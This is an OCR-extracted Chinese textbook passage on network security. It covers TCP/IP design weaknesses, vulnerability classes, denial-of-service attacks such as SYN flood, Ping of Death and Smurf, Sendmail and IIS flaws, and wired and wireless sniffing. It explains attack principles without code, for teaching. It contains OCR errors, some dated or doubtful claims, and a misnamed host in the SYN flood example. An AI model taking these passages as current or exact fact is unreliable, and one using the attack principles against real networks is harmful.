网 络 通信 的 基础 是 协议 ,TCP/IP 协议 是 目前 国际 上 最 流行 的 网 络 协议 ,该 协议 在 实现 
上 因 力 求实 效 ,而 没有 考虑 安全 因素 ,因为 如 果 考 虑 安全 因素 太 多 ,将 会 增 大 代码 量 , 从 而 降 
低 TCP/IP 的 运行 效率 ,所 以 说 TCP/IP 本 身 在 设计 上 就 是 不 安全 的 。 

下 面 是 现存 的 TCP/IP 协议 的 一 些 安全 缺陷 。 

(1) 容易 被 窃听 和 欺骗 。 

大 多 数 Internet 上 的 流量 是 没有 加 密 的 ,如 电子 邮件 口令 文件 传输 等 很 容易 被 监听 和 
劫持 ,可 以 实现 这 些 行 为 的 工具 很 多 ,而 且 这 些 工 具 在 网 上 是 免费 提供 的 。 

(2) 脆弱 的 TCP/IP 服务 。 

很 多 基于 TCP/IP 的 应 用 服务 都 在 不 同 程度 上 存在 着 安全 问题 ,这 很 容易 被 一 些 对 
TCP/IP 十 分 了 解 的 人 所 利用 ,一些 新 的 处 于 测试 阶级 的 服务 存在 着 更 多 的 安全 缺陷 。 

(3) 缺乏 安全 策略 。 

许多 站 点 在 网 络 及 防火 墙 配置 上 无 意识 地 扩大 了 访问 权限 ,忽视 了 这 些 权 限 可 能 会 被 
内 部 人 员 滥 用 ,黑客 从 一 些 服务 中 可 以 获得 有 用 的 信息 ,而 网 络 维护 人 员 却 不 知道 应 该 禁止 
这 种 服务 。 

(4) 配置 的 复杂 性 。 

访问 控制 的 配置 一 般 十 分 复杂 ,所 以 很 容易 被 错误 配置 ,从 而 给 黑客 以 可 乘 之 机 。 

除 上 面 的 4 个 问题 外 ,还 有 TCP/IP 协议 是 被 公布 于 世 的 ,了 解 它 的 人 越 多 ,被 人 破坏 
的 可 能 性 也 越 来 越 大 。 现 在 ,银行 之 间 在 专用 网 上 传输 数据 所 用 的 协议 都 是 保密 的 ,这 样 就 
可 以 有 效 地 防止 人 侵 。 对 于 UNIX 和 Windows 2003 等 网 络 系统 的 安全 问题 ,总 体 来 说 
Windows 2003 要 比 UNIX 安全 ,这 并 不 是 说 Windows 2003 没有 安全 问题 和 缺陷 ,而 是 因 
为 Windows 2003 的 源 代码 不 公开 ,而 UNIX 的 源 代 码 是 极 易 得 到 的 。 当 然 , 人 们 不 能 把 
TCP/IP 协议 和 其 源 代码 保密 ,这 样 不 利于 TCP/IP 网 络 的 发 展 , 但 人 们 可 以 在 其 他 方面 采 
取 一 些 措 施 来 弥补 它 。 

随 着 计算 机 网 络 的 发 展 ,计算 机 网 络 的 功能 和 服务 也 越 来 越 强 , 但 这 也 带 来 了 很 多 安全 
问题 ,如 像 Windows 2003 这 样 的 网 络 系统 ,代码 庞大 ,安全 漏洞 多 。 而 且 由 于 系统 本 身 不 
完善 和 “后 门 问题 ”, 被 黑客 们 利用 以 侵入 网 络 , 给 网 络 的 安全 带 来 很 多 隐患 。 


6.1.2 计算 机 网 络 系统 的 漏洞 及 漏洞 等 级 


人 们 经 常 说 , 某 某 系统 存在 大 量 漏洞 ,黑客 利用 漏洞 攻击 了 系统 。 到 底 什么 是 漏洞 ? 黑 
客 怎样 利用 漏洞 攻击 系统 ? 漏洞 的 危害 性 有 多 大 ? 下 面 将 讲述 这 些 方面 的 内 容 。 
广义 的 漏洞 是 指 非法 用 户 未 经 授权 获得 访问 或 提高 其 访问 层次 的 硬件 或 软件 特征 。 
漏洞 就 是 某 种 形式 的 脆弱 性 。 实 际 上 漏洞 可 以 是 任何 硬件 或 软件 的 缺陷 。 许 多 用 户 非 
常熟 悉 的 特殊 的 硬件 或 软件 存在 漏洞 ;IBM 兼容 机 的 CMOS 口令 在 CMOS 的 电池 供电 不 
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足 .不 能 供电 或 被 移 走 造成 CMOS 口令 丢失 也 是 漏洞 ;操作 系统 、 浏 览 器 、TCP/IP、 免 费 邮 
箱 等 也 存在 漏洞 。 每 个 平台 无 论 是 硬件 还 是 软件 都 存在 漏洞 。 

网 络 漏洞 主要 是 指 网 络 产 品 或 系统 存在 的 缺陷 给 网 络 带 来 的 不 安全 因素 ,产生 的 主要 
原因 是 设计 网 络 产品 或 系统 时 考虑 不 周到 。 

由 于 网 络 系统 的 复杂 性 ,网 络 漏洞 的 产生 不 可 避免 ,人 们 主要 做 的 是 当 发 现 网 络 漏洞 
后 ,应 及 时 采取 补救 措施 。 

根据 漏洞 或 脆弱 性 给 系统 带 来 的 危害 性 大 小 ,漏洞 可 分 : 允许 拒绝 服务 的 漏洞 (C 类 )、 
允许 有 限 权 限 的 本 地 用 户 未 经 授权 提高 其 权限 的 漏洞 (B 类 )、 允 许 外 来 团体 (在 远程 主机 
上 ) 未 经 授权 访问 网 络 (A 类 ) 等 3 级 类 型 。 

1. 允许 拒绝 服务 的 漏洞 (C 类 ) 

允许 拒绝 访问 的 漏洞 属于 C 类 , 它 不 会 破坏 数据 和 使 数据 泄密 ,是 不 太 重要 的 漏洞 。 
黑客 利用 这 类 漏洞 攻击 几乎 总 是 基于 操作 系统 的 。 也 就 是 说 ,这 些 漏洞 存在 于 网 络 操 
作 系 统 中 。 当 存在 这 种 漏洞 时 ,必须 通过 软件 开发 者 或 销售 商 的 弥补 予以 纠正 。 

对 于 大 的 网 络 或 站 点 ,拒绝 服务 或 攻击 只 是 有 限 的 影响 ,最 多 不 过 是 使 人 心烦 而 已 。 然 
而 对 于 小 的 站 点 ,可 能 会 受到 拒绝 服务 的 重创 。 特 别 对 于 站 点 只 是 一 台 单独 的 机 器 (单独 的 
邮件 或 新 闻 服 务 器 ) 更 是 如 此 。 

拒绝 服务 攻击 是 一 类 人 或 多 人 利用 Internet 的 核心 协议 TCP/IP 的 某 些 缺 陷 产 生 大 量 
数据 阻塞 网 络 ,使 服务 器 死机 或 因 服 务 器 负担 过 重 使 系统 拒绝 正常 用 户 对 系统 信息 进行 合 
法 的 访问 。 

TCP/IP 协议 的 这 一 类 缺陷 主要 有 如 下 几 种 : 

(1) UDP 攻击 

UDP 攻击 的 原理 是 使 两 个 或 两 个 以 上 的 系统 之 间 产 生 巨 大 的 UDP 数据 包 。 首 先 使 这 
两 种 UDP 服务 都 产生 输出 ,然后 让 这 两 种 UDP 服务 之 间 互 相通 信 , 使 一 方 的 输出 成 为 另 
一 方 的 输入 ,在 两 个 计算 机 之 间 产生 了 循环 ,这 样 会 形成 很 大 的 数据 流量 。 当 多 个 系统 之 间 
互相 产生 UDP 数据 包 时 ,最 终 将 导致 整个 网 络 瘫痪 。 如 果 涉 及 的 主机 数目 少 ,那么 只 有 这 
几 台 主机 会 瘫痪 。 

(2) TCP/SYN 攻击 

TCP/SYN 作为 一 种 拒绝 服务 攻击 存在 的 时 间 已 经 有 20 多 年 了 , 它 是 利用 TCP/IP 的 
连接 建立 时 的 漏洞 进行 攻击 的 ,其 原理 简单 介绍 如 下 : 当 一 台 黑 客 计算 机 A 要 与 男 外 一 台 
主机 B 建立 连接 时 , 它 的 通信 方式 是 先 发 一 个 SYN 包 告 诉 对 方 主机 B 说 “我 要 和 你 通信 
了 ”, 当 B 收 到 时 ,就 回复 一 个 ACK/SYN 确认 请 求 包 给 A 主机 。 如 果 A 是 合法 地 址 ,就 会 
再 回复 一 个 ACK 包 给 B 主机 ,然后 两 台 主 机 就 可 以 建立 一 个 通信 渠道 了 。 可 是 当 黑 客 计 
算 机 A 发 出 的 包 的 源 地 址 是 一 个 虚假 的 IP 地 址 或 者 可 以 说 是 实际 上 不 存在 的 一 个 地 址 ， 
于 是 主机 B 发 出 的 那个 ACK/SYN 包 当 然 就 找 不 到 目标 地 址 了 。 如 果 这 个 ACK/SYN 包 
一 直 没 有 找到 目标 地 址 ,那么 也 就 是 目标 主机 无 法 获得 对 方 回复 的 ACK 包 。 而 在 默认 超 
时 的 时 间 范 围 以 内 ,主机 的 一 部 分 资源 要 花 在 等 待 这 个 ACK 包 的 响应 上 ,假如 短 时 间 内 主 
机 A 接 到 大 量 来 自 虚假 IP 地 址 的 SYN 包 , 它 就 要 占用 大 量 的 资源 来 处 理 这 些 错误 的 等 
待 ,最 后 的 结果 就 是 系统 资源 耗 尽 以 至 瘫痪 。 这 种 攻击 方式 也 是 分 布 式 网 络 攻击 (D. O. S) 
的 攻击 原理 之 一 。 
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(3) ICMP/PING 攻击 

ICMP/PING 攻击 是 利用 一 些 系统 不 能 接受 超大 的 IP 包 或 需要 资源 处 理 这 一 特性 而 
进行 的 。ICMP 协议 是 TCP/IP 协议 簇 的 一 个 子 协议 , 它 是 TCP/IP 协议 的 重要 组 成 部 分 。 
该 协议 用 于 在 IP 主机、 路 由 器 之 间 传 递 控制 消息 。 控 制 消 息 是 指 网 络 通 不 通 、 主 机 是 否 可 
达 、 路 由 是 否 可 用 等 网 络 本 身 的 消息 。 例 如 ,用 于 检查 网 络 通 不 通 的 Ping 命令 ,“Ping” 的 过 
程 实际 上 就 是 ICMP 协议 工作 的 过 程 。ICMP 协议 对 于 网 络 安 全 具有 极其 重要 的 意义 。 
ICMP 协议 本 身 的 特点 决定 了 它 非常 容易 被 用 于 攻击 网 络 上 的 路 由 器 和 主机 。 比 如 ,可 以 
利用 操作 系统 规定 的 ICMP 数据 包 最 大 尺寸 不 超过 64KB 这 一 规定 ,向 主机 发 起 “Ping of 
Death”( 死 亡 之 Ping) 攻 击 。 该 攻击 的 原理 是 : 如 果 ICMP 数据 包 的 尺寸 超过 64KB 上 限 
时 ,主机 就 会 出 现 内 存 分 配 错误 ,导致 TCP/IP 堆栈 崩溃 ,致使 主机 死机 。 

(4) ICMP/SMUREF 攻击 

ICMP/SMURF 攻击 利用 的 是 网 络 广 播 的 原理 来 发 送 大 量 的 数据 包 , 而 包 的 源 地 址 就 
是 要 攻击 的 计算 机 本 身 的 地 址 ,因此 所 有 接收 到 此 种 数据 包 的 主机 都 将 给 发 包 的 地 址 发 送 
一 个 ICMP 回复 包 。 例 如 ,现在 A 主机 要 发 动 对 B 主 机 的 SMURF 攻击 。A 通过 向 某 个 网 
络 的 广播 地 址 发 送 ICMP ECHO 包 , 这 些 ICMP 包 的 源 地 址 即 被 伪造 为 B 主 机 的 IP 地 址 。 
当 这 个 广播 地 址 的 网 段 上 的 所 有 活动 主机 接收 到 该 ICMP 包 时 ,将 回 送 ICMP ECHO 
REPLAY 包 。 由 于 ICMP ECHO 包 的 源 地 址 为 B 主机 ,所 以 如 果 能 收 到 该 广播 包 的 计算 
机 有 500 台 , 则 B 主机 会 接收 到 500 个 ICMP ECHO REPLAY 包 ! 

(5) TARGA3 攻击 (IP 堆栈 突破 ) 

TARGA3 攻击 的 基本 原理 是 发 送 TCP/UDP/ICMP 的 碎片 包 , 其 大 小 .标记 、 包 数据 
等 都 是 随机 的 。 一 些 有 漏洞 的 系统 内 核 由 于 不 能 正确 处 理 这 些 极端 不 规范 的 数据 包 , 便 会 
使 其 TCP/IP 堆栈 出 现 崩溃 ,从 而 导致 无 法 继续 响应 网 络 请 求 ( 即 拒绝 服务 ) 。 

还 有 其 他 形式 的 拒绝 服务 的 攻击 。 某 些 拒绝 服务 攻击 的 实现 针对 个 人 而 不 是 针对 网 络 
用 户 的。 这 种 类 型 的 攻击 不 涉及 任何 bug 或 漏洞 而 是 利用 WWW 的 基本 设计 。 

并 非 每 个 拒绝 服务 攻击 都 需要 在 Internet 发 起 。 有 许多 在 本 地 机 甚至 在 没有 网 络 环境 
的 情况 下 也 会 发 生 拒绝 服务 攻击 。 

2. 人 允许 本 地 用 户 非 法 访问 的 漏洞 (B 类 ) 

B 类 漏洞 是 允许 本 地 用 户 获 得 增加 的 未 授权 的 访问 。 这 种 漏洞 一 般 在 多 种 平台 的 应 用 
程序 中 发 现 。 

一 个 很 好 的 例子 是 众所周知 的 Sendmail 问题 。Sendmail 可 能 是 世界 上 发 送 电子 邮件 
最 盛行 的 方法 , 它 是 Internet 的 E-mail 系统 的 中 心 。 这 个 程序 一 般 在 启动 时 作为 例 程 初始 
化 并 且 只 要 机 器 可 用 它 就 可 用 。 在 活动 可 用 状态 下 ,Sendmail( 在 端口 25) 侦 听 网 络 空间 上 
的 发 送 和 请 求 。 

当 Sendmail 启动 时 , 它 一 般 要 求 检验 用 户 的 身份 ,只 有 root 和 与 root 相同 权限 的 用 户 有 
权 启 动 和 维护 Sendmail 程序 。 然 而 根据 CERT 咨询 处 的 “Sendmail Daemon Vulnerability” 
报告 : 

“很 遗憾 ,由 于 一 个 代码 错误 ,Sendmail 则 在 例 程 模式 下 可 以 以 一 种 绕 过 潜入 的 方式 激 
活 。 当 绕 过 检查 后 ,任何 本 地 用 户 都 可 以 在 例 程 下 启动 Sendmail。 另 外 在 8.7 版 本 中 ， 
Sendmail 收 到 一 个 SIGHUP 信号 时 会 重启 。 它 通过 使 用 exec(2) 系 统 调用 重新 执行 自己 
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来 重新 开始 操作 。 重 新 执行 作为 root 用 户 实现 。 通 过 控制 Sendmail 环境 ,用 户 可 以 用 root 
权限 让 Sendmail 运行 一 任意 的 程序 。” 

因此 ,本 地 用 户 获得 一 种 形式 的 root 访问 。 这 些 漏洞 是 很 常见 的 ,差不多 每 月 都 有 
一 次 
像 Sendmail 这 样 的 程序 中 的 漏洞 特别 重要 ,因为 这 些 程序 对 网 上 所 有 的 用 户 都 是 可 用 
的 ,所 有 用 户 都 至 少 有 使 用 Sendmail 程序 的 基本 权限 ,如 果 没 有 的 话 ,他 们 无 法 发 送 邮件 。 
因此 Sendmail 中 的 任何 bug 或 漏洞 都 是 十 分 危险 的 。 

B 类 漏洞 唯一 令 人 欣慰 的 是 有 较 大 的 可 能 检查 出 入 侵 者 ,特别 是 在 人 侵 者 没有 经 验 的 
情况 下 更 是 如 此 。 如 果 系 统管 理 员 运行 强 有 力 的 登录 工具 ,入 侵 者 还 需要 有 较 多 的 专业 知 
识 才 能 逃避 检查 。 

大 多 数 B 类 漏洞 产生 的 原因 由 应 用 程序 中 的 一 些 缺 陷 引 起 。 有 些 常 见 的 编程 错误 会 
导致 这 种 漏洞 的 产生 。 如 缓冲 区 的 溢出 ,有 关 缓 冲 区 溢出 的 问题 ,将 在 后 面 的 有 关 章 节 中 
介绍 。 

3. 允许 过 程 用 户 未 经 授权 访问 的 漏洞 (A 类 ) 

A 类 漏洞 是 威胁 性 最 大 的 一 种 漏洞 。 大 多 数 的 A 类 漏洞 是 由 于 较 差 的 系统 管理 或 设 
置 有 误 造 成 的 。 

典型 的 设置 错误 (或 设置 失败 ) 是 网 络 系统 提供 的 任何 存放 在 驱动 器 上 的 例子 脚本 , 即 
使 这 些 版 本 的 系统 文档 中 建议 管理 员 删 掉 这 些 脚 本 ,这 种 漏洞 仍然 在 网 络 上 重 现 过 无 数 次 ， 
包括 那些 在 Web 服务 器 版 本 中 的 文件 。 这 些 脚 本 有 时 会 为 来 自 网 络 空间 的 侵入 者 提供 有 
限 的 访问 权限 甚至 root 的 访问 权限 。 如 test_cgi 文件 的 缺陷 是 允许 来 自 网 络 空间 的 侵入 者 
读 取 CGI 目录 下 的 文件 。 

Novell 平台 的 一 种 HTTP 服务 器 含有 一 个 称 做 Convert. bas 的 例子 脚本 。 这 个 用 
BASIC 编写 的 脚本 ,允许 远程 用 户 读 取 系 统 上 的 任何 文件 。 

A 类 漏洞 涉及 的 不 仅 是 一 个 文件 ,有 时 它 与 脚本 的 解释 方法 有 关 。 例 如 ,Microsoft 的 
Internet 信息 服务 器 (IIS) 包 含 一 个 允许 任何 远程 用 户 执行 任意 命令 的 漏洞 。 由 于 IIS 将 所 
有 . bat 或 . cmd 后 缀 的 文件 与 cmd. exe 程序 联系 起 来 ,所 以 危害 性 很 大 。 如 Julian Assange 
(Strobe 的 作者 ) 所 解释 的 :“ 第 一 个 bug 允许 用 户 访问 与 wwwroot 目录 在 同一 分 区 的 任何 
文件 (认为 IIS_user 可 以 读 此 文件 )。 它 也 允许 与 脚本 目录 在 同一 分 区 的 任意 可 执行 文件 
的 运行 (认为 IIS_user 足以 执行 此 文件 ) 。 如 果 cmd. exe 文件 能 被 执行 ,那么 它 也 允许 你 执 
行 任何 命令 , 读 取 任意 分 区 的 任意 文件 (认为 IIS_user 可 以 读 取 并 执行 此 文件 )…… 遗憾 的 
是 Netscape 通信 和 Netscape 商业 服务 器 也 都 有 相 类 似 的 bug。 对 于 Netscape 服务 使 用 
BAT 或 CMD 文件 作为 CGI 脚本 则 会 发 生 类 似 的 事情 。” 

很 显然 ,A 类 漏洞 从 外 界 对 系统 造成 严重 的 威胁 。 在 许多 情况 下 ,如 果 系 统管 理 员 只 
运行 了 很 少 的 日 志 , 这 些 攻 击 可 能 会 不 被 记录 ,使 捉 获 更 为 困难 。 

所 以 像 扫 描 器 这 样 的 程序 是 网 络 安全 的 重要 组 成 部 分 。 扫 描 器 的 重要 目的 是 检查 这 些 
漏洞 。 因 此 ,尽管 系统 管理 员 把 这 些 漏洞 包含 进 他 们 的 程序 中 作为 检查 的 选择 ,但 他 们 经 常 
是 在 攻击 者 几 个 月 之 后 才 这 样 做 ( 某 些 漏洞 ,比如 说 允许 拒绝 服务 的 synflooding 漏洞 不 容 
易 弥 补 , 系 统管 理 员 目 前 必须 学 会 在 这 些 不 尽 如 人 意 的 漏洞 下 工作 ) 。 

而 非 UNIX 平台 的 漏洞 要 花 更 多 的 时 间 才 会 表现 出 来 ,网 络 安全 实现 起 来 会 更 为 困 

。 195 。 


难 。 例 如 许多 NT/2000 的 系统 管理 员 不 运行 重要 的 日 志文 件 ,因为 报告 漏洞 ,他 们 必须 有 
漏洞 存在 的 证 据 。 另 外 ,新 的 系统 管理 员 ( 在 IBM 兼容 机 中 ,这 样 的 管理 员 占 很 大 比例 ) 没 
有 对 文档 和 报告 安全 性 事故 做 好 准备 。 这 意味 着 漏洞 出 现 后 ,前 期 网 络 测试 .搭建 测试 环境 
的 时 间 浪 费 了 。 


6.2 网 络 监 听 


网 络 监听 技术 原本 是 提供 给 网 络 安全 管理 人 员 进 行 管理 的 工具 ,管理 员 可 以 用 来 监视 
网 络 的 状态 .数据 流动 情况 以 及 网 络 上 传输 的 信息 等 。 当 信息 以 明文 的 形式 在 网 络 上 传输 
时 ,使 用 监听 技术 进行 攻击 并 不 是 一 件 难 事 , 只 要 将 网 络 接口 设置 成 监听 模式 , 便 可 以 源源 
不 断 地 将 网 上 传输 的 信息 截获 。 网 络 监听 可 以 在 网 上 的 任何 一 个 位 置 实施 ,如 局 域 网 中 的 
一 台 主机 、 网 关上 或 远程 网 的 调制 解 调 器 之 间 等 。 黑 客 在 局 域 网 或 路 由 器 上 使 用 网 络 监听 
可 以 很 容易 地 获得 用 户 的 密码 和 账号 ,许多 网 络 入 侵 往往 都 伴随 着 以 太 网 内 网 络 监听 行为 ， 
从 而 造成 口令 失窃 ,敏感 数据 被 截获 等 连锁 性 安全 事件 。 

网 络 监 听 的 危害 很 大 。 首 先 , 它 接收 所 有 的 数据 报 文 ,这 就 使 网 络 上 的 数据 丢失 ,造成 
网 络 通信 不 畅 。 其 次 ,在 计算 机 网 络 中 ,大 量 的 数据 是 以 明文 传输 的 ,如 局 域 网 上 的 FTP， 
Web 等 服务 一 般 都 是 明文 传输 。 这 样 ,黑客 就 很 容易 拿 到 用 户 名 和 密码 ,而 且 有 许多 用 户 
为 了 记忆 方便 ,在 不 同 的 服务 上 使 用 的 用 户 名 和 密码 是 一 样 的 ,这 就 意味 着 一 些 网 络 管理 员 
的 密码 会 被 得 到 ( 太 和 危险 了 )。 另 外 ,网 络 监 听 是 采用 被 动 的 方式 , 它 不 与 其 他 主机 交换 信 
息 ,也 不 修改 密码 ,这 就 使 对 监听 者 的 追踪 变 得 十 分 困难 。 

网 络 监 听 主 要 使 用 Sniffer( 嗅 探 器 ) ,Sniffer 是 一 种 常用 的 收集 有 用 数据 的 工具 ,这 些 
数据 可 以 是 用 户 的 账户 和 密码 ,可 以 是 一 些 商 用 机 密 数 据 等 。 


6.2.1 以 太 网 络 监听 原理 与 实现 


在 因特网 上 有 很 多 使 用 以 太 网 协议 的 局 域 网 ,多 台 主 机 通过 电缆 、 集 线 器 连 在 一 起 。 下 
面 从 TCP/IP 模型 的 角度 分 析 , 当 同一 以 太 网 络 中 的 两 台 主机 通信 的 时 候 , 数 据 包 在 局 域 网 
内 发 送 的 过 程 。 当 数据 由 应 用 层 自 上 而 下 地 传递 时 ,在 网 络 层 形成 IP 数据 报 , 该 IP 数据 报 
中 包含 着 应 该 接收 该 数据 报 主机 的 正确 IP 地 址 。 但 这 种 数据 包 不 能 在 IP 层 直 接 发 送 , 必 
须 从 TCP/IP 协议 的 IP 层 交 给 网 络 接口 卡 即 数据 链 路 层 , 而 网 络 接口 卡 是 不 会 识别 IP 地 
址 的 ,因此 ,由 数据 链 路 层 将 IP 数据 报 分 割 为 数据 帧 ,并 增加 了 一 部 分 以 太 帧 头 的 信息 。 在 
帧 头 中 有 两 个 域 , 分 别 为 只 有 网 络 接口 才能 识别 的 源 主 机 和 目的 主机 的 物理 地 址 ,这 是 一 个 
与 卫 地址 相对 应 的 48 位 的 地 址 。 帧 是 根据 通信 所 使 用 的 协议 ,由 网 络 驱动 程序 按照 一 定 
规则 生成 ,然后 通过 网 络 接口 卡 将 该 数据 帧 发 送 到 网 络 中 。 包 含 物 理 地 址 的 帧 从 网 络 接口 
发 送 到 物理 的 网 络 线路 上 ,如 果 局 域 网 是 由 一 条 粗 缆 或 细 缆 连接 而 成 , 则 数字 信和 号 在 电缆 上 
传输 ,能够 到 达 线路 上 的 每 一 台 主 机 。 当 使 用 集线器 时 ,由 集线器 再 发 向 连接 在 集线器 上 的 
每 一 条 线路 ,数字 信和 号 也 能 到 达 连 接 在 集线器 上 的 每 一 台 主 机 。 当 数字 信号 到 达 一 台 主 机 
的 网 络 接口 卡 时 ,接收 端 计算 机 的 网 络 接口 卡 捕获 到 这 些 帧 ,并 告诉 操作 系统 有 新 的 帧 到 
达 , 然 后 对 其 进行 存储 。 正 常情 况 下 ,网络 接 口 卡 读 入 数据 帧 ,进行 检查 ,如 果 数 据 帧 中 携带 
的 物理 地 址 是 自己 的 或 者 是 广播 地 址 (就 是 被 设 定 为 一 次 性 发 送 到 网 络 所 有 主机 的 特殊 地 
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址 , 当 目 标 地 址 为 该 地 址 时 ,所 有 的 网 络 接口 卡 都 会 接收 该 帧 ) ,网 络 接口 卡通 过 产生 一 个 硬 
件 中 断 引起 操作 系统 注意 ,然后 将 数据 帧 交 给 上 层 协议 软件 即 IP 层 软件 处 理 , 和 否则 就 将 这 
个 帧 丢弃 。 对 于 每 一 个 到 达 网 络 接口 的 数据 帧 ,都 要 经 历 这 个 过 程 。 

一 般 而 言 , 网 络 接口 卡 有 几 种 接收 数据 帧 的 状态 ,如 unicast, broadcast, multicast， 
promiscuous 等 。unicast 是 指 网 卡 在 工作 时 只 接收 目的 地 址 ,是 本 机 硬件 地 址 的 数据 帧 。 
broadcast 是 指 接收 所 有 类 型 为 广播 报 文 的 数据 帧 。multicast 是 指 接收 特定 的 多 播报 文 。 
promiscuous 则 是 通常 说 的 混杂 模式 ,是 指 对 报 文中 的 目的 硬件 地 址 不 加 任何 检查 ,全 部 接 
收 的 工作 模式 。 正 常 的 网 卡 应 该 只 是 接收 发 往 自身 的 数据 报 文 、 广 播 和 组 播报 文 。 

如 果 将 本 地 网 络 接口 卡 设置 成 promiscuous 模式 (“混杂 ”状态 来 实现 ) ,该 网 络 接口 卡 
将 会 接收 所 有 在 网 络 中 传输 的 帧 ,无 论 该 帧 是 广播 的 还 是 发 向 某 一 指定 地 址 的 ,这 就 形成 了 
监听 。promiscuous 模式 是 指 网 络 上 的 所 有 设备 都 对 总 线 上 传送 的 数据 进行 侦 听 ,并 不 仅 
仅 是 它们 自己 的 数据 。 一 个 设备 要 向 某 一 目标 发 送 数据 时 , 它 是 对 以 太 网 进行 广播 的 。 一 
个 连 到 以 太 网 总 线 上 的 设备 在 任何 时 间 里 都 在 接收 数据 ,不 过 只 是 将 属于 自己 的 数据 传 给 
该 计算 机 上 的 应 用 程序 。 

当主 机 工作 在 监听 模式 下 ,无 论 数据 包 中 的 目标 地 址 是 什么 ,主机 都 将 接收 (当然 只 能 
监听 经 过 自己 网 络 接口 的 那些 包 ) ,网 络 接口 接收 的 所 有 数据 帧 都 将 被 交 给 上 层 协 议 软件 处 
理 。 而 且 , 当 连接 在 同一 条 电缆 或 集线器 上 的 主机 被 逻辑 地 分 为 几 个 子 网 时 ,如 果 一 台 主 机 
处 于 监听 模式 下 , 它 还 能 接收 到 发 向 与 自己 不 在 同一 子 网 (使 用 了 不 同 的 掩 码 、IP 地 址 和 网 
关 ) 的 主机 的 数据 包 。 也 就 是 说 ,在 同一 条 物理 信道 上 传输 的 所 有 信息 都 可 以 被 接收 到 。 男 
外 ,现在 网 络 中 使 用 的 大 部 分 协议 都 是 很 早 设计 的 ,许多 协议 的 实现 都 是 基于 一 种 非常 友好 
的 .通信 的 双方 充分 信任 的 基础 之 上 ,许多 信息 以 明文 发 送 。 因 此 ,如 果 用 户 的 账户 名 和 口 
令 等 信息 也 以 明文 的 方式 在 网 上 传输 ,而 此 时 一 个 黑客 或 网 络 攻击 者 正在 进行 网 络 监听 ,只 
要 具有 初步 的 网 络 和 TCP/IP 协议 知识 , 便 能 轻易 地 从 监听 到 的 信息 中 提取 出 感 兴 趣 的 
部 分 。 


6.2.2 无 线 网 络 监听 原理 与 实现 


无 线 局 域 网 (WLAN) 因 其 安装 便捷 、 组 网 灵活 的 优点 在 许多 领域 获得 了 越 来 越 广泛 的 
应 用 ,但 由 于 它 传 送 的 数据 利用 无 线 电波 在 空中 传播 ,发 射 的 数据 可 能 到 达 预 期 之 外 的 接收 
设备 ,因而 WLAN 存在 着 网 络 信息 容易 被 窃取 的 问题 。 

WLAN 中 无 线 信 道 的 开放 性 给 网 络 监听 带 来 了 极 大 的 方便 。 在 WLAN 中 网 络 监 听 对 
信息 安全 的 威胁 来 自 其 被 动 性 和 非 干 扰 性 ,运行 监听 程序 的 主机 在 窃听 的 过 程 中 只 是 被 动 
地 接收 网 络 中 传输 的 信息 , 它 不 会 跟 其 他 主机 交换 信息 ,也 不 修改 在 网 络 中 传输 的 信息 包 ， 
使 得 网 络 监 听 具 有 很 强 的 隐蔽 性 ,往往 让 网 络 信息 泄密 变 得 很 难 被 发 现 。 尽 管 它 没有 对 网 
络 进行 主动 攻击 和 破坏 的 危害 明显 ,但 由 它 造成 的 损失 也 是 不 可 估量 的 。 只 有 通过 分 析 网 
络 监听 的 原理 与 本 质 ,才能 更 有 效 地 防 患 于 未 然 ,增强 无 线 局 域 网 的 安全 防护 能 

无 线 设备 包括 站 点 (STA) 和 接 入 点 (AP) ,站 点 通常 由 一 台 PC 或 笔记 本 电脑 加 上 无 线 
网 络 接口 卡 组 成 ; 接 入 点 通常 由 一 个 无 线 输出 口 和 一 个 有 线 的 网 络 接口 组 成 ,其 作用 是 提供 
无 线 和 有 线 网 络 之 间 的 桥接 。 

在 同一 无 线 网 络 环境 中 ,假设 两 台 主机 A,B 和 FTP 服务 器 C 通过 接 入 点 (AP) 或 其 他 
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无 线 连接 设备 连接 ,主机 A 通过 使 用 一 个 FTP 命令 向 服务 器 C 进行 远程 登录 ,从 而 进行 文 
件 下 载 。 那 么 首先 在 主机 A 上 输入 登录 服务 器 C 的 FTP 口令 ,FTP 口令 经 过 应 用 层 FTP 
协议 .传输 层 TCP 协议 、 网 络 层 IP 协议 .数据 链 路 层 上 的 以 太 网 驱动 程序 一 层 一 层 包 右 ,最 
后 送 到 了 物理 层 , 再 通过 无 线 的 方式 播发 出 去 。 服 务 器 C 接收 到 数据 帧 ,并 在 比较 之 后 发 
现 是 发 给 自己 的 , 接 下 来 它 就 对 此 数据 帧 进行 分 析 处 理 。 这 时 主机 B 也 同样 接收 到 主机 A 
播发 的 数据 帧 ,随后 就 检查 在 数据 帧 中 的 地 址 是 否 和 自己 的 地 址 相 匹 配 , 发 现 不 匹配 就 把 数 
据 帧 丢弃 。 这 就 是 无 线 网 络 环境 中 ,不同 的 站 点 基于 TCP/IP 协议 通信 的 一 般 过 程 。 

假设 主机 B 想 知 道 主 机 A 登录 服务 器 C 的 FTP 口令 是 什么 , 则 它 要 做 的 就 是 捕捉 主 
机 A 播发 的 数据 帧 ,对 数据 帧 进行 解析 ,依次 剥离 出 以 太 帧 头 .IP 包头 、TCP 包头 等 ,然后 
对 报头 部 分 和 数据 部 分 进行 相应 的 分 析 处 理 , 从 而 得 到 包含 在 数据 帧 中 的 有 用 信息 。 

实现 无 线 监听 ,需要 特殊 网 卡 的 支持 。 如 果 没 有 专门 的 网 卡 , 虽 然 可 以 监听 ,但 是 那 是 
剥离 了 802. 11 帧 信息 用 Windows NIDS 实现 的 ,其 意义 不 大 。 而 且 , 普 通 网 卡 只 能 嗅 探 到 
本 机 网 卡 的 通信 数据 ,没有 办 法 捕获 到 其 他 设备 的 通信 数据 (虽然 可 以 使 用 ARP 欺骗 达到 
目的 )。 所 以 要 在 监听 主机 上 装 好 无 线 网 卡 ,并 将 无 线 网 卡 驱 动 进 行 更 新 ,因为 默认 情况 下 
无 线 网 卡 虽 然 能 够 进行 无 线 通 信 , 但 是 无 法 胜任 监听 工作 。 然 后 可 以 通过 专业 的 监控 软件 
完成 无 线 数 据 包 的 监听 (如 OmniPeek Personal 4.0, 就 是 一 款 无 线 监听 工具 )。 安 装 好 监听 
软件 就 可 以 收集 相关 无 线 通信 数据 包 。 

无 线 局 域 网 的 安全 系统 要 做 到 有 效 , 就 必须 解决 下 面 3 个 安全 问题 。 

(1) 提供 接 人 控制 : 验证 用 户 , 授 权 他 们 接 入 特定 的 资源 ,同时 拒绝 为 未 经 授权 的 用 户 
提供 接 入 。 

